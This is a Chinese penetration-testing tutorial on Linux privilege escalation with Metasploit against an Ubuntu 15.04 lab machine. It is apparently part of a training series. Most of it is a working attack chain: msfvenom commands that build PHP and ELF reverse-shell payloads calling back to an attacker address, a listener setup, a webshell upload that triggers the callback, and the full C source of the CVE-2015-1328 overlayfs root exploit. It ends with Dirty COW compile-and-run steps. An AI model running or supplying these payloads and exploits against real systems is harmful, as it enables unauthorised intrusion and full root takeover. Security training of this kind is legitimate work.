117.网络安全渗透测试—[权限提升篇15]—[Ubuntu15.04 Metasploit提权]

我认为，无论是学习安全还是从事安全的人，多多少少都有些许的情怀和使命感！！！

一、Linux Metasploit 提权

1、Metasploit 简介：

       Metasploit是一款开源的安全漏洞检测工具，可以帮助安全和IT专业人士识别安全性问题，验证漏洞的缓解措施，并管理专家驱动的安全性进行评估，提供真正的安全风险情报。这些功能包括智能开发，代码审计，Web应用程序扫描，社会工程。团队合作，在Metasploit和综合报告提出了他们的发现。

2、Linux Metasploit 提权：

（1）kali生成攻击载荷：

php马：msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.97.130 LPORT=12345 -f raw > shellx.php
elf马：msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.97.130 LPORT=12345 -f elf > 64.elf

（2）攻击端监听：

#msfconsole，开启Metasploit控制台
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set lhost 192.168.97.130
set lport 12345
exploit

（3）通过shellx.php反弹Shell：

如下图所示，我们首先上传shellx.php攻击载荷到靶机：

如下图所示：然后访问上传的www.moontester.com/upload/01ca162393400776ce0b19cc08da8a61shellx.php，触发反弹shell：

如下图所示：从而获取一个session：

3、Metasploit 提权模块：

（1）内核提权：overlayfs_priv_esc

getuid #查看当前用户

shell #使用终端

sysinfo #获取靶机系统信息

run post/multi/recon/local_exploit_suggester #获取提权建议

background #挂起session
search 3.19 #查找内核为3.19的exp

info exploit/linux/local/overlayfs_priv_esc #查看刚刚找到的exp的详细介绍信息

use exploit/linux/local/overlayfs_priv_esc #进入该提权模块
options #查看模块需要设置的可选项

set session 1
set lhost 192.168.97.130
set lport 12345
run

（2）进一步搜索提权模块：发现脏牛提权

方法一：search ubuntu #搜索ubuntu的local提权模块

 exploit/linux/local/af_packet_chocobo_root_priv_esc
 exploit/linux/local/af_packet_packet_set_ring_priv_esc
 exploit/linux/local/apport_abrt_chroot_priv_esc
 exploit/linux/local/bpf_priv_esc
 exploit/linux/local/bpf_sign_extension_priv_esc
 exploit/linux/local/glibc_ld_audit_dso_load_priv_esc
 exploit/linux/local/glibc_origin_expansion_priv_esc
 exploit/linux/local/glibc_realpath_priv_esc
 exploit/linux/local/juju_run_agent_priv_esc
 exploit/linux/local/netfilter_priv_esc_ipv4
 exploit/linux/local/network_manager_c_username_priv_esc
 exploit/linux/local/ntfs3g_priv_esc
 exploit/linux/local/overlayfs_priv_esc
 exploit/linux/local/pkexec
 exploit/linux/local/rds_priv_esc
 exploit/linux/local/recvmmsg_priv_esc
 exploit/linux/local/service_persistence
 exploit/linux/local/ufo_privilege_escalation

方法二：https://www.exploit-db.com/exploits/37292 #通过exploit-db检索
【其实该exp就是overlayfs_priv_esc提权模块】

/*
# Exploit Title: ofs.c - overlayfs local root in ubuntu
# Date: 2015-06-15
# Exploit Author: rebel
# Version: Ubuntu 12.04, 14.04, 14.10, 15.04 (Kernels before 2015-06-15)
# Tested on: Ubuntu 12.04, 14.04, 14.10, 15.04
# CVE : CVE-2015-1328     (http://people.canonical.com/~ubuntu-security/cve/2015/CVE-2015-1328.html)

*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*
CVE-2015-1328 / ofs.c
overlayfs incorrect permission handling + FS_USERNS_MOUNT

user@ubuntu-server-1504:~$ uname -a
Linux ubuntu-server-1504 3.19.0-18-generic #18-Ubuntu SMP Tue May 19 18:31:35 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux
user@ubuntu-server-1504:~$ gcc ofs.c -o ofs
user@ubuntu-server-1504:~$ id
uid=1000(user) gid=1000(user) groups=1000(user),24(cdrom),30(dip),46(plugdev)
user@ubuntu-server-1504:~$ ./ofs
spawning threads
mount #1
mount #2
child threads done
/etc/ld.so.preload created
creating shared library
# id
uid=0(root) gid=0(root) groups=0(root),24(cdrom),30(dip),46(plugdev),1000(user)

greets to beist & kaliman
2015-05-24
%rebel%
*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*
*/

#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 

#define LIB "#include \n\nuid_t(*_real_getuid) (void);\nchar path[128];\n\nuid_t\ngetuid(void)\n{\n_real_getuid = (uid_t(*)(void)) dlsym((void *) -1, \"getuid\");\nreadlink(\"/proc/self/exe\", (char *) &path, 128);\nif(geteuid() == 0 && !strcmp(path, \"/bin/su\")) {\nunlink(\"/etc/ld.so.preload\");unlink(\"/tmp/ofs-lib.so\");\nsetresuid(0, 0, 0);\nsetresgid(0, 0, 0);\nexecle(\"/bin/sh\", \"sh\", \"-i\", NULL, NULL);\n}\n    return _real_getuid();\n}\n"

static char child_stack[1024*1024];

static int
child_exec(void *stuff)
{
    char *file;
    system("rm -rf /tmp/ns_sploit");
    mkdir("/tmp/ns_sploit", 0777);
    mkdir("/tmp/ns_sploit/work", 0777);
    mkdir("/tmp/ns_sploit/upper",0777);
    mkdir("/tmp/ns_sploit/o",0777);

    fprintf(stderr,"mount #1\n");
    if (mount("overlay", "/tmp/ns_sploit/o", "overlayfs", MS_MGC_VAL, "lowerdir=/proc/sys/kernel,upperdir=/tmp/ns_sploit/upper") != 0) {
// workdir= and "overlay" is needed on newer kernels, also can't use /proc as lower
        if (mount("overlay", "/tmp/ns_sploit/o", "overlay", MS_MGC_VAL, "lowerdir=/sys/kernel/security/apparmor,upperdir=/tmp/ns_sploit/upper,workdir=/tmp/ns_sploit/work") != 0) {
            fprintf(stderr, "no FS_USERNS_MOUNT for overlayfs on this kernel\n");
            exit(-1);
        }
        file = ".access";
        chmod("/tmp/ns_sploit/work/work",0777);
    } else file = "ns_last_pid";

    chdir("/tmp/ns_sploit/o");
    rename(file,"ld.so.preload");

    chdir("/");
    umount("/tmp/ns_sploit/o");
    fprintf(stderr,"mount #2\n");
    if (mount("overlay", "/tmp/ns_sploit/o", "overlayfs", MS_MGC_VAL, "lowerdir=/tmp/ns_sploit/upper,upperdir=/etc") != 0) {
        if (mount("overlay", "/tmp/ns_sploit/o", "overlay", MS_MGC_VAL, "lowerdir=/tmp/ns_sploit/upper,upperdir=/etc,workdir=/tmp/ns_sploit/work") != 0) {
            exit(-1);
        }
        chmod("/tmp/ns_sploit/work/work",0777);
    }

    chmod("/tmp/ns_sploit/o/ld.so.preload",0777);
    umount("/tmp/ns_sploit/o");
}

int
main(int argc, char **argv)
{
    int status, fd, lib;
    pid_t wrapper, init;
    int clone_flags = CLONE_NEWNS | SIGCHLD;

    fprintf(stderr,"spawning threads\n");

    if((wrapper = fork()) == 0) {
        if(unshare(CLONE_NEWUSER) != 0)
            fprintf(stderr, "failed to create new user namespace\n");

        if((init = fork()) == 0) {
            pid_t pid =
                clone(child_exec, child_stack + (1024*1024), clone_flags, NULL);
            if(pid < 0) {
                fprintf(stderr, "failed to create new mount namespace\n");
                exit(-1);
            }

            waitpid(pid, &status, 0);

        }

        waitpid(init, &status, 0);
        return 0;
    }

    usleep(300000);

    wait(NULL);

    fprintf(stderr,"child threads done\n");

    fd = open("/etc/ld.so.preload",O_WRONLY);

    if(fd == -1) {
        fprintf(stderr,"exploit failed\n");
        exit(-1);
    }

    fprintf(stderr,"/etc/ld.so.preload created\n");
    fprintf(stderr,"creating shared library\n");
    lib = open("/tmp/ofs-lib.c",O_CREAT|O_WRONLY,0777);
    write(lib,LIB,strlen(LIB));
    close(lib);
    lib = system("gcc -fPIC -shared -o /tmp/ofs-lib.so /tmp/ofs-lib.c -ldl -w");
    if(lib != 0) {
        fprintf(stderr,"couldn't create dynamic library\n");
        exit(-1);
    }
    write(fd,"/tmp/ofs-lib.so\n",16);
    close(fd);
    system("rm -rf /tmp/ns_sploit /tmp/ofs-lib.c");
    execl("/bin/su","su",NULL);
}     

python -c 'import pty; pty.spawn("/bin/bash")' #从而meterpreter转为交互式shell
gcc 37292.c -o exp
chmod +x exp
./exp

方法三：上传linux-exploit-suggester.sh脚本，进行扫描

第一步：上传linux-exploit-suggester.sh到靶机的/tmp目录下，赋予执行权限，然后执行该脚本进行扫描可利用漏洞。

第二步：执行该脚本
cd /tmp
ls
chmod +x linux-exploit-suggester.sh
./linux-exploit-suggester.sh

以下是扫描的结果：

（3）测试脏牛提权：CVE-2016-5195

第一步：上传40616.c到靶机的/tmp目录下

第二步：编译40616.c，然后赋权，执行提权，如果成功就会得到一个root
gcc -o 40616 40616.c -pthread
chmod +x 40616
./40616
whoami

4、附：提权EXP的检索方法

Meterpreter下	Metasploit下	利用脚本
run post/multi/recon/local_exploit_suggester	search 关键字【比如：search 3.19】	./linux-exploit-suggester.sh【同样也是有windows版本的】